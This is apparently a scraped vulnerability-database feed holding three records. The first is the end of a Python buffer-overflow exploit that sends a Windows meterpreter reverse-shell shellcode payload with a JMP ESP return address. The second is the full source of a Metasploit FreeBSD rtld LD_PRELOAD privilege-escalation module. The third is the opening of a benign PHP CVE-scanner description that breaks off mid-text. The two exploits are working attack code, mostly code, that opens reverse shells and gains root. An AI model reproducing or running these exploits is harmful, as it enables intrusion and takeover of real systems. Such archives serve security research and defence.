\"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy\"\r\n\r\njunk1 = \"A\" * 5091\r\n\r\nEIP = \"\\x18\\x35\\xe1\\x4d\" #JMP ESP in msoda15.dll\r\n\r\n\r\n#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.241.132 LPORT=4444 -e x86/alpha_mixed -b \"\\x00\\xd5\\x0a\\x0d\\x1a\\x03\" -f c\r\nshellcode = (\"\\x89\\xe3\\xd9\\xee\\xd9\\x73\\xf4\\x5a\\x4a\\x4a\\x4a\\x4a\\x4a\\x4a\\x4a\"\r\n\"\\x4a\\x4a\\x4a\\x4a\\x43\\x43\\x43\\x43\\x43\\x43\\x37\\x52\\x59\\x6a\\x41\"\r\n\"\\x58\\x50\\x30\\x41\\x30\\x41\\x6b\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\"\r\n\"\\x42\\x30\\x42\\x42\\x41\\x42\\x58\\x50\\x38\\x41\\x42\\x75\\x4a\\x49\\x6b\"\r\n\"\\x4c\\x59\\x78\\x4b\\x32\\x63\\x30\\x75\\x50\\x45\\x50\\x65\\x30\\x4f\\x79\"\r\n\"\\x4b\\x55\\x34\\x71\\x59\\x50\\x35\\x34\\x4e\\x6b\\x36\\x30\\x54\\x70\\x6c\"\r\n\"\\x4b\\x61\\x42\\x36\\x6c\\x6e\\x6b\\x33\\x62\\x74\\x54\\x4c\\x4b\\x63\\x42\"\r\n\"\\x55\\x78\\x76\\x6f\\x4d\\x67\\x70\\x4a\\x74\\x66\\x44\\x71\\x39\\x6f\\x6e\"\r\n\"\\x4c\\x47\\x4c\\x63\\x51\\x31\\x6c\\x64\\x42\\x54\\x6c\\x51\\x30\\x7a\\x61\"\r\n\"\\x6a\\x6f\\x74\\x4d\\x56\\x61\\x39\\x57\\x6d\\x32\\x4c\\x32\\x52\\x72\\x70\"\r\n\"\\x57\\x6e\\x6b\\x56\\x32\\x46\\x70\\x4c\\x4b\\x42\\x6a\\x65\\x6c\\x4e\\x6b\"\r\n\"\\x50\\x4c\\x76\\x71\\x73\\x48\\x6a\\x43\\x73\\x78\\x45\\x51\\x68\\x51\\x43\"\r\n\"\\x61\\x4c\\x4b\\x61\\x49\\x51\\x30\\x56\\x61\\x38\\x53\\x6c\\x4b\\x33\\x79\"\r\n\"\\x32\\x38\\x4b\\x53\\x34\\x7a\\x70\\x49\\x6c\\x4b\\x75\\x64\\x6e\\x6b\\x53\"\r\n\"\\x31\\x38\\x56\\x65\\x61\\x4b\\x4f\\x4c\\x6c\\x49\\x51\\x4a\\x6f\\x56\\x6d\"\r\n\"\\x47\\x71\\x5a\\x67\\x46\\x58\\x39\\x70\\x70\\x75\\x39\\x66\\x57\\x73\\x51\"\r\n\"\\x6d\\x6c\\x38\\x45\\x6b\\x51\\x6d\\x45\\x74\\x71\\x65\\x79\\x74\\x66\\x38\"\r\n\"\\x6e\\x6b\\x43\\x68\\x37\\x54\\x75\\x51\\x5a\\x73\\x50\\x66\\x6c\\x4b\\x36\"\r\n\"\\x6c\\x42\\x6b\\x6e\\x6b\\x72\\x78\\x45\\x4c\\x67\\x71\\x59\\x43\\x4e\\x6b\"\r\n\"\\x55\\x54\\x6e\\x6b\\x55\\x51\\x5a\\x70\\x6d\\x59\\x77\\x34\\x31\\x34\\x45\"\r\n\"\\x74\\x73\\x6b\\x33\\x6b\\x61\\x71\\x61\\x49\\x43\\x6a\\x72\\x71\\x59\\x6f\"\r\n\"\\x79\\x70\\x43\\x6f\\x63\\x6f\\x61\\x4a\\x4e\\x6b\\x77\\x62\\x7a\\x4b\\x6c\"\r\n\"\\x4d\\x51\\x4d\\x50\\x68\\x75\\x63\\x56\\x52\\x75\\x50\\x33\\x30\\x43\\x58\"\r\n\"\\x42\\x57\\x52\\x53\\x44\\x72\\x43\\x6f\\x43\\x64\\x30\\x68\\x52\\x6c\\x54\"\r\n\"\\x37\\x66\\x46\\x43\\x37\\x6c\\x49\\x6d\\x38\\x4b\\x4f\\x38\\x50\\x4d\\x68\"\r\n\"\\x6e\\x70\\x76\\x61\\x63\\x30\\x55\\x50\\x71\\x39\\x68\\x44\\x63\\x64\\x52\"\r\n\"\\x70\\x42\\x48\\x46\\x49\\x4d\\x50\\x30\\x6b\\x55\\x50\\x49\\x6f\\x4b\\x65\"\r\n\"\\x52\\x4a\\x56\\x6a\\x63\\x58\\x69\\x50\\x4c\\x68\\x48\\x71\\x4d\\x54\\x33\"\r\n\"\\x58\\x45\\x52\\x33\\x30\\x32\\x31\\x71\\x4c\\x4c\\x49\\x79\\x76\\x52\\x70\"\r\n\"\\x66\\x30\\x56\\x30\\x62\\x70\\x43\\x70\\x72\\x70\\x63\\x70\\x66\\x30\\x70\"\r\n\"\\x68\\x7a\\x4a\\x74\\x4f\\x69\\x4f\\x6d\\x30\\x49\\x6f\\x68\\x55\\x4a\\x37\"\r\n\"\\x30\\x6a\\x72\\x30\\x70\\x56\\x61\\x47\\x45\\x38\\x6a\\x39\\x6e\\x45\\x33\"\r\n\"\\x44\\x33\\x51\\x59\\x6f\\x7a\\x75\\x4d\\x55\\x4b\\x70\\x33\\x44\\x37\\x7a\"\r\n\"\\x49\\x6f\\x72\\x6e\\x45\\x58\\x70\\x75\\x78\\x6c\\x59\\x78\\x53\\x57\\x45\"\r\n\"\\x50\\x63\\x30\\x73\\x30\\x73\\x5a\\x33\\x30\\x30\\x6a\\x76\\x64\\x52\\x76\"\r\n\"\\x73\\x67\\x62\\x48\\x44\\x42\\x4b\\x69\\x68\\x48\\x71\\x4f\\x69\\x6f\\x39\"\r\n\"\\x45\\x6d\\x53\\x4c\\x38\\x53\\x30\\x61\\x6e\\x70\\x36\\x6e\\x6b\\x47\\x46\"\r\n\"\\x63\\x5a\\x67\\x30\\x71\\x78\\x43\\x30\\x36\\x70\\x63\\x30\\x75\\x50\\x56\"\r\n\"\\x36\\x43\\x5a\\x33\\x30\\x30\\x68\\x42\\x78\\x6c\\x64\\x62\\x73\\x6a\\x45\"\r\n\"\\x79\\x6f\\x58\\x55\\x4c\\x53\\x56\\x33\\x43\\x5a\\x67\\x70\\x70\\x56\\x36\"\r\n\"\\x33\\x51\\x47\\x62\\x48\\x65\\x52\\x4e\\x39\\x69\\x58\\x73\\x6f\\x69\\x6f\"\r\n\"\\x79\\x45\\x6c\\x43\\x49\\x68\\x33\\x30\\x51\\x6d\\x34\\x68\\x36\\x38\\x75\"\r\n\"\\x38\\x55\\x50\\x61\\x50\\x43\\x30\\x47\\x70\\x52\\x4a\\x45\\x50\\x66\\x30\"\r\n\"\\x63\\x58\\x64\\x4b\\x54\\x6f\\x34\\x4f\\x34\\x70\\x59\\x6f\\x68\\x55\\x46\"\r\n\"\\x37\\x63\\x58\\x30\\x75\\x32\\x4e\\x30\\x4d\\x65\\x31\\x59\\x6f\\x6e\\x35\"\r\n\"\\x53\\x6e\\x63\\x6e\\x69\\x6f\\x76\\x6c\\x67\\x54\\x74\\x4f\\x6f\\x75\\x72\"\r\n\"\\x50\\x6b\\x4f\\x79\\x6f\\x69\\x6f\\x7a\\x49\\x6d\\x4b\\x6b\\x4f\\x39\\x6f\"\r\n\"\\x49\\x6f\\x65\\x51\\x6f\\x33\\x47\\x59\\x4b\\x76\\x53\\x45\\x6b\\x71\\x4a\"\r\n\"\\x63\\x6f\\x4b\\x6c\\x30\\x6c\\x75\\x69\\x32\\x46\\x36\\x61\\x7a\\x57\\x70\"\r\n\"\\x32\\x73\\x59\\x6f\\x7a\\x75\\x41\\x41\")\r\n\r\nnops = \"\\x90\"*20\r\n\r\n#junk1 depends on the length of path of the executable. Modify 5091 in junk1 accordingly.\r\n#Alternatively, you can use pattern to calculate the offset\r\n#evil_buffer = \"HELP \" + pattern + \"\\r\\n\"\r\n\r\nevil_buffer = \"HELP \" + junk1 + EIP + nops + shellcode + \"\\r\\n\"\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n\r\ntry:\r\n sock.connect((host,port))\r\n print (\"Sending evil buffer to target machine.\")\r\n sock.send(evil_buffer)\r\n print(\"Evil buffer sent. Check for reverse shell.\")\r\n print(\"Exploit by hashs3v3n!\")\r\n sock.close()\r\n\r\nexcept:\r\n print(\"Error in socket!\")\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32648"}], "packetstorm": [{"lastseen": "2019-05-24T12:45:04", "bulletinFamily": "exploit", "description": "", "modified": "2019-05-22T00:00:00", "published": "2019-05-22T00:00:00", "id": "PACKETSTORM:152997", "href": "https://packetstormsecurity.com/files/152997/FreeBSD-rtld-execl-Privilege-Escalation.html", "title": "FreeBSD rtld execl() Privilege Escalation", "type": "packetstorm", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'FreeBSD rtld execl() Privilege Escalation', \n'Description' => %q{ \nThis module exploits a vulnerability in the FreeBSD \nrun-time link-editor (rtld). \n \nThe rtld `unsetenv()` function fails to remove `LD_*` \nenvironment variables if `__findenv()` fails. \n \nThis can be abused to load arbitrary shared objects using \n`LD_PRELOAD`, resulting in privileged code execution. \n \nThis module has been tested successfully on: \n \nFreeBSD 7.2-RELEASE (amd64); and \nFreeBSD 8.0-RELEASE (amd64). \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Kingcope', # Independent discovery, public disclosure, and exploit \n'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824) \n'bcoles' # Metasploit (using Kingcope's exploit code [modified]) \n], \n'DisclosureDate' => '2009-11-30', \n'Platform' => ['bsd'], # FreeBSD \n'Arch' => \n[ \nARCH_X86, \nARCH_X64, \nARCH_ARMLE, \nARCH_AARCH64, \nARCH_PPC, \nARCH_MIPSLE, \nARCH_MIPSBE \n], \n'SessionTypes' => ['shell'], \n'References' => \n[ \n['BID', '37154'], \n['CVE', '2009-4146'], \n['CVE', '2009-4147'], \n['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'], \n['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'], \n['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'], \n['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'], \n['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'], \n['URL', 'https://securitytracker.com/id/1023250'] \n], \n'Targets' => [['Automatic', {}]], \n'DefaultOptions' => \n{ \n'PAYLOAD' => 'bsd/x86/shell_reverse_tcp', \n'PrependSetresuid' => true, \n'PrependSetresgid' => true, \n'PrependFork' => true, \n'WfsDelay' => 10 \n}, \n'DefaultTarget' => 0)) \nregister_options [ \nOptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ]) \n] \nregister_advanced_options [ \nOptBool.new('ForceExploit', [false, 'Override check result', false]), \nOptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) \n] \nend \n \ndef base_dir \ndatastore['WritableDir'].to_s \nend \n \ndef suid_exe_path \ndatastore['SUID_EXECUTABLE'] \nend \n \ndef upload(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nrm_f path \nwrite_file path, data \nregister_file_for_cleanup path \nend \n \ndef is_root? \n(cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0') \nend \n \ndef check \nkernel_release = cmd_exec('uname -r').to_s \nunless kernel_release =~ /^(7\\.[012]|8\\.0)/ \nvprint_error \"FreeBSD version #{kernel_release} is not vulnerable\" \nreturn CheckCode::Safe \nend \nvprint_good \"FreeBSD version #{kernel_release} appears vulnerable\" \n \nunless command_exists? 'gcc' \nvprint_error 'gcc is not installed' \nreturn CheckCode::Safe \nend \nprint_good 'gcc is installed' \n \nunless setuid? suid_exe_path \nvprint_error \"#{suid_exe_path} is not setuid\" \nreturn CheckCode::Detected \nend \nvprint_good \"#{suid_exe_path} is setuid\" \n \nCheckCode::Appears \nend \n \ndef exploit \nunless check == CheckCode::Appears \nunless datastore['ForceExploit'] \nfail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' \nend \nprint_warning 'Target does not appear to be vulnerable' \nend \n \nif is_root? \nunless datastore['ForceExploit'] \nfail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' \nend \nend \n \nunless writable? base_dir \nfail_with Failure::BadConfig, \"#{base_dir} is not writable\" \nend \n \nif base_dir.length > 1_000 \nfail_with Failure::BadConfig, \"#{base_dir} path length #{base_dir.length} is larger than 1,000\" \nend \n \npayload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\" \n \nexecutable_data = <<-EOF \n#include <stdio.h> \n#include <stdlib.h> \n#include <unistd.h> \n \nvoid _init() { \nextern char **environ; \nenviron=NULL; \nsystem(\"#{payload_path} &\"); \n} \nEOF \n \nexecutable_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\" \nupload \"#{executable_path}.c\", executable_data \noutput = cmd_exec \"gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall\" \nregister_file_for_cleanup \"#{executable_path}.o\" \n \nunless output.blank? \nprint_error output \nfail_with Failure::Unknown, \"#{executable_path}.c failed to compile\" \nend \n \nlib_name = \".#{rand_text_alphanumeric 5..10}\" \nlib_path = \"#{base_dir}/#{lib_name}\" \noutput = cmd_exec \"gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles\" \nregister_file_for_cleanup \"#{lib_path}.0\" \n \nunless output.blank? \nprint_error output \nfail_with Failure::Unknown, \"#{executable_path}.o failed to compile\" \nend \n \nexploit_data = <<-EOF \n#include <stdio.h> \n#include <stdlib.h> \n#include <string.h> \n#include <unistd.h> \n \nint main() { \nextern char **environ; \nenviron = (char**)calloc(8096, sizeof(char)); \n \nenviron[0] = (char*)calloc(1024, sizeof(char)); \nenviron[1] = (char*)calloc(1024, sizeof(char)); \nstrcpy(environ[1], \"LD_PRELOAD=#{lib_path}.0\"); \n \nreturn execl(\"#{suid_exe_path}\", \"\", (char *)0); \n} \nEOF \n \nexploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\" \nupload \"#{exploit_path}.c\", exploit_data \noutput = cmd_exec \"gcc #{exploit_path}.c -o #{exploit_path} -Wall\" \nregister_file_for_cleanup exploit_path \n \nunless output.blank? \nprint_error output \nfail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\" \nend \n \nupload payload_path, generate_payload_exe \nchmod payload_path \n \nprint_status 'Launching exploit...' \noutput = cmd_exec exploit_path \noutput.each_line { |line| vprint_status line.chomp } \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/152997/rtld_execl_priv_esc.rb.txt"}], "kitploit": [{"lastseen": "2019-05-22T01:22:03", "bulletinFamily": "tools", "description": "[  ](<https://3.bp.blogspot.com/-bhtqXim-vlU/XNZVo27BruI/AAAAAAAAO4w/wqhBjqL6XlksqzL4vzGsPPETuwmPfvkRwCLcBGAs/s1600/php.png>)\n\n \n\n\nVersionscan is a tool for evaluating your currently installed PHP version and checking it against known CVEs and the versions they were fixed in to report back potential issues. \n\n** PLEASE NOTE: ** Work is still in progress to [ adapt ](<https://www.kitploit.com/search/label/ADAPT> \"adapt\" ) the tool to [ linux ](<https://www.kitploit.com/search/label/Linux> \"linux\" ) distributions that backport security fixes. As of right now, this only reports back for the straight up version reported. \n\n \n** Installation ** \n \n** Using Composer ** \n\n \n \n {\n \"require\": {\n \"psecio/versionscan\": \"dev-master\"\n }\n }\n\nThe only current dependency is the Symfony console. \n \n** Usage ** \nTo run the [ scan ](<https://www.kitploit.com/search/label/Scan> \"scan\" 